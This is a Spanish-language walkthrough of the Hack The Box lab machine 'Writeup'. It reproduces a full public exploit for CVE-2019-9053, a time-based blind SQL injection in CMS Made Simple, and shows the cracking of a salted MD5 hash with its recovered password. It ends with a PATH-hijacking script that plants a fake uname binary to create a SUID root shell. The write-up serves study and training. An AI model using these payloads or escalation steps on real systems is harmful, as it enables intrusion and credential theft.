Post

Writeup — EASY

Writeup técnico paso a paso de 'Writeup' (HTB): enumeración web, identificación de CMS Made Simple vulnerable a CVE-2019-9053, explotación de blind SQL injection para extraer credenciales, acceso por SSH y escalada de privilegios mediante PATH hijacking abusando del grupo staff.

Writeup — EASY

🚀 Writeup — EASY

📅 Fecha: 2026-03-07
🔗 IP: 10.129.2.56
🔍 Estado: 🎯 Resuelta ✅
👤 Autor: Roberto


TL;DR

La máquina expone un sitio web en el puerto 80 y el archivo robots.txt revela la ruta /writeup/. Allí encontramos un CMS CMS Made Simple en una versión vulnerable a CVE-2019-9053, una blind SQL injection en el parámetro m1_idlist del módulo News. Aprovechando un exploit público, extraemos el hash MD5 con salt del usuario, lo crackeamos con Hashcat y obtenemos credenciales válidas para entrar por SSH como jkr.

Ya dentro del sistema, sudo ni siquiera está disponible, por lo que la escalada no va por la ruta clásica. Revisando los grupos del usuario, vemos que jkr pertenece a staff, lo que permite escribir en /usr/local/bin y /usr/local/sbin. Con ayuda de pspy observamos que un proceso ejecutado por root llama a uname sin ruta absoluta, lo que habilita un PATH hijacking. Creamos un binario falso en /usr/local/bin/uname que copia /bin/bash como SUID a /tmp, y luego usamos esa shell para obtener privilegios de root.


Reconocimiento

Iniciamos con el reconocimiento básico usando Nmap para identificar la superficie expuesta:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -p- -Pn -sCV --min-rate 5000 10.129.2.56 -oN escaneo.txt

┌─ /workspace/hackthebox/writeup
└─ ➤ nmap -p- -Pn -sCV --min-rate 5000 10.129.2.56 -oN escaneo.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2026-03-07 16:57 MST
Nmap scan report for 10.129.2.56
Host is up (0.081s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 372e1468aeb9c2342b6ed992bcbfbd28 (ECDSA)
|_  256 93eaa84042c1a83385b35600621ca0ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.28 seconds

A simple vista, el puerto más interesante es el 80/tcp, donde se aloja una aplicación web. Además, Nmap nos adelanta algo importante: existe un archivo robots.txt que contiene una ruta deshabilitada para indexación.

PRINCIPAL

Al revisar el sitio, vemos una página bastante simple. Sin embargo, en robots.txt encontramos una ruta interesante:

ROBOTS

/writeup/

Al acceder a ella, aparece una sección que parece actuar como una especie de portal o home con pequeños extractos de writeups.

WRITEUP

Revisando el código fuente del sitio, identificamos que estamos frente a CMS Made Simple. Siguiendo la enumeración, encontramos también el archivo CHANGELOG.txt, que nos revela un dato clave: la versión exacta del CMS.

VERSION

Ese detalle cambia por completo el panorama, porque una vez conocida la versión, ya podemos contrastarla contra vulnerabilidades públicas.

Explotación inicial

Investigando sobre CMS Made Simple, encontramos que esta versión es vulnerable a CVE-2019-9053, una SQL injection ciega basada en tiempo explotable a través del parámetro m1_idlist del módulo News.

Existe un exploit público en Exploit-DB:

https://www.exploit-db.com/exploits/46635

El exploit original está escrito en Python 2 y su propósito es extraer:

salt
username
email
hash de contraseña

a partir de la vulnerabilidad blind SQLi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()

Cómo funciona el exploit

Este exploit aprovecha que el parámetro m1_idlist del módulo News no es sanitizado antes de enviarse a la base de datos. El problema es que la aplicación es blind, así que no veremos directamente ni errores SQL ni resultados en pantalla.

Entonces, ¿cómo se extrae la información? La respuesta es: usando el tiempo.

El script trabaja como una especie de “adivina quién” sobre la base de datos:

1.- construye una lista de caracteres posibles 2.- prueba letra por letra 3.- envía una consulta que provoca sleep() si la condición es verdadera 4.- mide cuánto tarda en responder el servidor 5.- La lógica sería equivalente a algo como esto:

En otras palabras:

  1. Si el primer carácter del valor buscado es a, el servidor duerme 2 segundos.
  2. Si no lo es, responde normal.
  3. El script mide el tiempo.
  4. Si tarda, la letra era correcta.
  5. Si no tarda, prueba con la siguiente.

Ese ciclo se repite hasta reconstruir carácter por carácter el salt, el usuario, el correo y el hash. Aunque es un proceso lento y bastante ruidoso, termina siendo efectivo.

Uno de los resultados más importantes que obtuvimos fue el siguiente:

1
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807

Crackeo del hash

Al tener un hash MD5 con salt, podemos usar Hashcat para intentar recuperar la contraseña en texto claro.

Primero guardamos el hash en un archivo:

1
2
3
┌─ /workspace/hackthebox/writeup
└─ ➤ cat hash.txt
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807

Luego ejecutamos Hashcat con el modo correspondiente:

1
hashcat -m 20 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Resultado:

1
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9

Con esto ya tenemos credenciales válidas.

Acceso por SSH

A partir de la salida del exploit obtenemos el usuario y, tras crackear el hash, la contraseña. Con esos datos podemos autenticarnos por SSH y obtener acceso al sistema.

Una vez dentro, podemos recuperar la user flag.

USER

Escalada de privilegios

Lo primero que uno pensaría sería revisar sudo, pero aquí hay un pequeño detalle interesante: ni siquiera está instalado.

1
2
jkr@writeup:~$ sudo -l
-bash: sudo: command not found

Así que toca buscar otra vía.

Enumeración de grupos Revisamos los grupos del usuario con id:

1
2
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

Aquí destaca especialmente el grupo: staff

Aunque no siempre llama la atención, en sistemas Debian este grupo puede ser muy peligroso si está mal combinado con otras tareas del sistema. En este caso, pertenecer a staff permite escribir en rutas como:

/usr/local/bin /usr/local/sbin

Lo confirmamos así:

1
2
3
jkr@writeup:~$ ls -ld /usr/local/bin /usr/local/sbin
drwx-wsr-x 2 root staff 20480 Apr 19  2019 /usr/local/bin
drwx-wsr-x 2 root staff 12288 Apr 19  2019 /usr/local/sbin

Eso ya nos da una idea clara: si algún proceso ejecutado por root invoca binarios sin ruta absoluta, podemos intentar un PATH hijacking.

Entendiendo el PATH

Linux resuelve los comandos buscando de izquierda a derecha en la variable $PATH. Si revisamos el valor actual:

1
2
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Lo crítico aquí es que:

/usr/local/bin aparece antes que /usr/bin y /bin

nosotros podemos escribir en /usr/local/bin

si root llama un binario por nombre, el sistema puede ejecutar primero nuestro archivo malicioso

Pero no basta con poder escribir ahí. También necesitamos identificar qué comando ejecuta root automáticamente sin ruta absoluta.

Monitoreando procesos con pspy

Para eso usamos pspy, una herramienta muy útil para observar procesos ejecutados por otros usuarios sin privilegios de root. Podemos descargarla así:

1
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

Luego la servimos desde nuestra máquina atacante:

1
python3 -m http.server 80

Y en la víctima la descargamos:

1
wget http://[IP]:80/pspy64

Le damos permisos y la ejecutamos:

1
2
chmod +x pspy64
./pspy64

PSPY

Una vez corriendo, la herramienta empieza a mostrar procesos del sistema. En este caso, el comportamiento interesante apareció al abrir otra sesión con el mismo usuario.

La línea importante fue esta:

IMPORTANTE

1
2026/03/07 21:00:49 CMD: UID=0 PID=2944 | uname -rnsom

Aquí está la clave: el sistema ejecuta uname sin ruta absoluta. No llama a /bin/uname, solo a uname.

Eso lo convierte en un objetivo perfecto para secuestrar el PATH.

PATH Hijacking

Ahora que sabemos que root ejecuta uname sin especificar la ruta completa, solo tenemos que colocar un binario falso con ese nombre dentro de /usr/local/bin.

1
2
3
jkr@writeup:~$ echo '#!/bin/bash' > /usr/local/bin/uname
jkr@writeup:~$ echo 'cp /bin/bash /tmp/bashroot; chmod +s /tmp/bashroot' >> /usr/local/bin/uname
jkr@writeup:~$ chmod +x /usr/local/bin/uname

Lo que hace este script es:

copiar /bin/bash a /tmp/bashroot

asignarle el bit SUID

dejar una shell que podrá ejecutarse con privilegios de root

Después solo esperamos a que el proceso vuelva a dispararse. Una forma práctica de provocar el evento es cerrar sesión y volver a entrar por SSH. Cuando root ejecuta uname, en realidad termina ejecutando nuestro script. Entonces verificamos el archivo generado:

1
2
jkr@writeup:~$ ls -l /tmp/bashroot
-rwsr-sr-x 1 root root 1234567 Mar 07 23:45 /tmp/bashroot
1
2
3
4
5
jkr@writeup:~$ /tmp/bashroot -p
bashroot-5.0# id
uid=1000(jkr) gid=1000(jkr) euid=0(root) egid=0(root) groups=0(root)...
bashroot-5.0# cat /root/root.txt
04134f1df147dce201d738f********

Root conseguido.

Resumen

La máquina Writeup presenta una cadena de compromiso bastante clásica pero muy bien construida. El acceso inicial depende de una mala práctica básica pero frecuente: exponer un software desactualizado, en este caso CMS Made Simple, vulnerable a CVE-2019-9053. A través de una blind SQL injection basada en tiempo, fue posible extraer información sensible de la base de datos, incluyendo el hash y el salt del usuario. Después, usando Hashcat, se recuperó la contraseña en claro y se obtuvo acceso por SSH.

La escalada de privilegios es aún más interesante porque no pasa por sudo, sino por una combinación peligrosa de configuraciones débiles. El usuario jkr pertenece al grupo staff, lo que permite escribir en /usr/local/bin, una ruta que aparece antes que los binarios legítimos dentro del $PATH. Al observar el sistema con pspy, se detectó que root ejecutaba uname sin usar ruta absoluta. Eso hizo posible un PATH hijacking, colocando un script malicioso llamado uname en /usr/local/bin.

Cuando root ejecutó ese comando, terminó corriendo el script del atacante, que creó una copia SUID de /bin/bash en /tmp. A partir de ahí, bastó ejecutar esa shell con -p para obtener una sesión con privilegios efectivos de root y completar la máquina.

En conjunto, esta máquina deja dos lecciones muy claras: mantener software sin parches es una invitación directa a la intrusión, y combinar permisos de escritura peligrosos con llamadas inseguras a binarios del sistema puede convertir una mala configuración local en una escalada completa de privilegios.

Happy hacking :)

This post is licensed under CC BY 4.0 by the author.